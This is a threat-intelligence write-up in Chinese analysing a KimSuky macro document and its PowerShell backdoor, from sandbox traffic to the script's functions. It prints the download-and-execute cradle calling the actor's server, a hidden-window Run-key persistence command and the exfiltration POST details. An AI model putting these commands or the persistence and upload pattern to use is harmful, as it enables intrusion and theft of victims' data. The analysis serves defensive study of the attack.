一次KimSuky攻擊事件分析
0x00 背景
在平時的威脅情報收集中,發現了一起韓國APT組織KimSuky的攻擊事件對整個事件進行完整分析之后,覺得自己對樣本分析和流量分析的認識又上了一層樓,在這里分享給大家,希望可以一起學習進步。
0x01 分析工具
Win7 64位
office2013
Wireshark
0x02 樣本背景
樣本MD5為07D0BE79BE38ECB8C7B1C80AB0BD8344,來源于免費沙箱app.any.run。
app.any.run是一個國際化的免費沙箱,有非常友好的界面,可以很好地跑出大部分惡意樣本的行為、網絡請求等信息。并且它可以免費下載樣本,目前是我分析樣本的主要來源。
app.any.run的Public submissions會顯示每天捕獲到的新樣本,然后用戶可以點擊到對應的樣本中查看沙箱報告以及下載樣本。
在某天我看到了如下的樣本:

app.any.run提示這是一個office宏的惡意文件,考慮到近年來,非PE的惡意文件已經越來越流行。故嘗試將這個樣本下載回來進行分析。
0x03 樣本分析
首先,通過virustotal獲取樣本的一些基本信息。
通過virustotal可以得知,樣本原始名稱:
- ??. ??? ?? ?? ?? ??.doc
首先,通過virustotal獲取樣本的一些基本信息。
通過virustotal可以得知,樣本原始名稱:
- ??. ??? ?? ?? ?? ??.doc
創建時間和上傳VT時間如下:

根據文件投放名稱, 可以初步判斷該樣本是用于攻擊朝鮮/韓國的惡意樣本光從文件名上暫時無法確定攻擊目標。
打開樣本,樣本偽裝為微軟官方,提示用戶啟用宏以查看內容

啟用宏之后,文檔內容更改為如下所示:

翻譯之后如下:
《專家評論》稿件制作樣式
?人文名調11pt,行距160%,2張以內分量
開城工業園區專家評論..。
原始文件是office宏代碼的惡意樣本,準備對宏代碼調試的時候發現代碼被加密了:

通過工具破解宏密碼之后看到宏代碼如下,主要功能是在c:\windows\temp\路徑下釋放一個bobo.txt文件,然后將一行powershell命令寫入到該文件中,再調用執行。

這里由于分析到是powershell.exe指令指令,于是重新打開樣本,并通過火絨劍檢測powershell.exe的行為

這里可以看到,是讀取'c:\windows\temp\bobo.txt'的內容然后通過iex執行
bobo.txt內容如下
IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')

該段代碼的主要功能是從http[:]//mybobo.mygamesonline.org/flower01/flower01.ps1下載一個新的powershell腳本。
而該域名已經被打上了KimSuky的標簽

但是經過分析,該地址目前已經不返回數據了

思路1 通過vt查找
這個時候我們接著回到VT,可以看到如下的內容:

跟過來之后發現有成功請求之后保留的文件

順著這個文件hash,就可以找到目標powershell腳本了

如果有vt下載權限,即可通過該hash將powershell腳本下載回來。
思路2 通過app.any.run的流量包
我們回到app.any.run的頁面,可以發現在沙箱中,樣本是正常與服務器通信,并且保留了流量的,我們直接把數據包下載到本地進行分析和提取。

可以看到,樣本首先是通過三次握手與服務器建立了建立,緊接著就通過get請求的方式訪問了下載頁面
而后面服務器返回的數據,應該就是flower01.ps的內容了

根據數據包大小可以得知,返回的內容從第二個數據包開始:

由于是明文傳輸,直接復制為純文本就可以

將幾個數據包的內容復制到編輯器中,腳本就從流量中提出來了

流量分析
既然已經打開了流量包,就多分析一點
接著往后看,可以看到本地主機還對C2發送了POS數據包,且看后面包的大小 基本可以判定是在竊密了。
而這一段流量應該是剛才下載回來的ps腳本發起的,所以不出意外的話,本次攻擊的最終載荷就是這個ps腳本了。(畢竟也夠長)

這里post請求的內容是:
POST /flower01/post.php HTTP/1.1.. Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG.. Host: mybobo.mygamesonline.org.. Content-Length: 10694.. Expect: 100-continue....
其中有幾個關鍵信息
boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG..
我們可以通過搜索引擎檢索WebKitFormBoundarywhpFxMBe19cSjFnG會得到如下的結果

通過搜索引擎反饋的結果我們可以知道,該串字符不是首次出現,早在18年在針對韓國冬奧會的攻擊中就已經出現過而且也被爆與KimSuky有關聯。
post請求成功之后,服務器會返回Continue
接著客戶端會嘗試以1260字節大小為數據包,向服務器發送加密數據

之后再次請求

RT6>RTJE^@dR+RUP_?"P------WebKitFormBoundarywhpFxMBe19cSjFnG Content-Disposition: form-data; name="MAX_FILE_SIZE" 10000000 ------WebKitFormBoundarywhpFxMBe19cSjFnG Content-Disposition: form-data; name="userfile"; filename="flower01" Content-Type: application/octet-stream ending ------WebKitFormBoundarywhpFxMBe19cSjFnG
flower01.ps1分析
雖然從搜索引擎來看,基本可以確定本次所使用的powershell應該是PowerShell Empire框架生成的遠控,但并不復雜,也可以詳細分析一下

腳本首先定義了一些全局變量
根據定義的這些全局變量可以看出來
后續的通信地址應該是:"http://mybobo.mygamesonline.org/flower01/"
用于接收上傳信息的文件:"post.php"
上傳的用戶名:"flower01"
上傳的ID:"flower01"
保存的log文件名:$LOG_FILENAME = "flower01.hwp"
保存的log文件路徑:$LOG_FILEPATH = "\flower01\"
休眠時間:$TIME_VALUE = 1000*60*60
應該是調用執行腳本:$EXE = "rundll32.exe"
調用func:$MyfuncName = "Run"
寫入的注冊表鍵值:$RegValueName = "Alzipupdate"
寫入的是開機自啟動的鍵:$RegKey = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
最后這個應該是計劃任務:$regValue = "cmd.exe /c powershell.exe -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')"

接著,腳本定義了一些方法,分別是:
function decode($encstr)
function UpLoadFunc($logpath)
function FileUploading($upPathName)
function Download
function Get_info($logpath)
function main
從方法名,基本可以確定這是一個powershell遠控,可以收集信息、文件上傳、文件下載、樣本持久化等功能。
在main函數下斷點,可以看到樣本首先定義后后面log文件的路徑,然后會判斷是否有對應的注冊表鍵值,即判定是否已經設置為開機自啟動了。

如果返回False,則會通過修改HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run的方式將自己加入到開機自啟動。
并且調用Get_info函數,參數是szLogPath,也就是C:\Users\Shyt\AppData\Roaming\flower01\flower01.hwp
所以這里的flower01.hwp是用于保存Get_info函數收集到的信息
在Get_info中,會寫入幾個目錄信息然后將systeminfo以及當前的進程全部寫入到flower01.hwp

如果返回True,則會進入一個永真循環,循環調用FileUploading和Download函數,并在調用完成之后進行一段時間的休眠。

第一次調用FileUploading的時候會判斷是否存在路徑FileUploading,也就是C:\Users\xxx\AppData\Roaming\flower01\flower01.hwp
如果存在則調用后面的UploadFunc,如果不存在則直接返回

如果存在flower01.hwp則說明信息采集成功,則調用UploadFunc準備上傳
在UploadFunc方法中,會讀取flower01.hwp的hex數據,然后通過decode進行加密再上傳到服務器

加密算法是自定義的變異凱撒加密,即ascii替換的方式

調用完成之后會調用Download函數:

函數會嘗試從http://mybobo.mygamesonline.org/flower01/flower01.down獲取數據并傳入到decode函數進行解碼

如果下載失敗則會嘗試訪問http://mybobo.mygamesonline.org/flower01/del.php?filename=flower01獲取返回值

因為不想用干凈的網絡訪問C2,所以我還是嘗試通過app.any.run的在線沙箱跑一下這個powershell樣本。
雖然成功跑起來了,但是看到了一些報錯信息

于是把對應的報錯信息、slepp都刪除了,重新上傳。
發現服務器mybobo.mygamesonline.org已經掛了,沒有后續的數據了。

0x04 總結
至此,樣本的分析已經完成,在本次惡意樣本分析中,我們可以發現,通常情況下,攻擊者特別是定向攻擊者,會在實施攻擊后的不久就將攻擊所使用的服務器給下架。如果沒有捕獲到具體的攻擊樣本或是沒有全流量記錄的設備。可能會在被攻擊者竊取機密數據的情況下還截然不知。